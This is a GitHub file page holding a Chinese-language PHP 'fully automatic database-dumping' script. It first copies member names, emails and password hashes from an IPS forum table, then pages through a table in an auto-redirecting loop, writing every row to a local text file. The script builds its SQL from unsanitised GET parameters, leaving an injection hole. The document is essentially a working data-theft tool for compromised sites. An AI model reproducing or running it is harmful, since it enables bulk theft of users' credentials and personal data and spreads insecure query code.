-
Notifications
You must be signed in to change notification settings - Fork 28
/
Copy path全自动脱裤脚本.php
63 lines (50 loc) · 2.01 KB
/
全自动脱裤脚本.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
1,先给目标表减肥 (目的是把无用的字段去掉,减小体积)
CREATE TABLE user4 AS SELECT uid,name,email,members_pass FROM ips_members;
<?php
$sqlserver = 'localhost';
$sqluser = 'root';
$sqlname = 'test';
$sqlpass = 'root';
$con = mysql_connect($sqlserver,$sqluser,$sqlpass);
if($con == false){
echo '连接数据库失败';exit;
}
if(mysql_select_db($sqlname,$con) == false){
echo '打开数据库失败';exit;
}
mysql_query("set names 'utf-8'");
$selectnum = isset($_GET['selectnum'])?$_GET['selectnum']:0;
$startloc = isset($_GET['startloc'])?$_GET['startloc']:0;
$ifgoon = isset($_GET['ifgoon'])?$_GET['ifgoon']:1;
if(!empty($selectnum)&&!empty($ifgoon)){
if(!($startloc)){
$resultallnum = mysql_query("select count(*) as total from testdb");
$allnum = mysql_fetch_array($resultallnum);
$allnum = $allnum['total'];
$ifgoon = ceil($allnum/$selectnum);
}
$sql = "select * from testdb order by id limit ".$startloc . ",".$selectnum;
$result = mysql_query($sql);
while($row = mysql_fetch_array($result))
{
if(strpos($row['testtext'], 'from91') === false){
echo $row['id'] . "--->" . $row['testtext'];
echo "<br />";
file_put_contents('D:/www/all.txt',implode(' ',$row)."\r\n",FILE_APPEND);
}
}
$ifgoon = $ifgoon-1;
if($ifgoon>0){
$startloc = $startloc + $selectnum;
$locurl = "http://localhost/test.php?selectnum=".$selectnum."&startloc=".$startloc."&ifgoon=".$ifgoon;
echo $locurl;
echo "<SCRIPT LANGUAGE='JavaScript'>";
echo "location.href='".$locurl."'";
echo "</SCRIPT>";
}
}
?>
<form action="http://localhost/test.php" method="get">
查询条数:<input type="text" name="selectnum" value="" />
<input type="submit" value="提交" />
</form>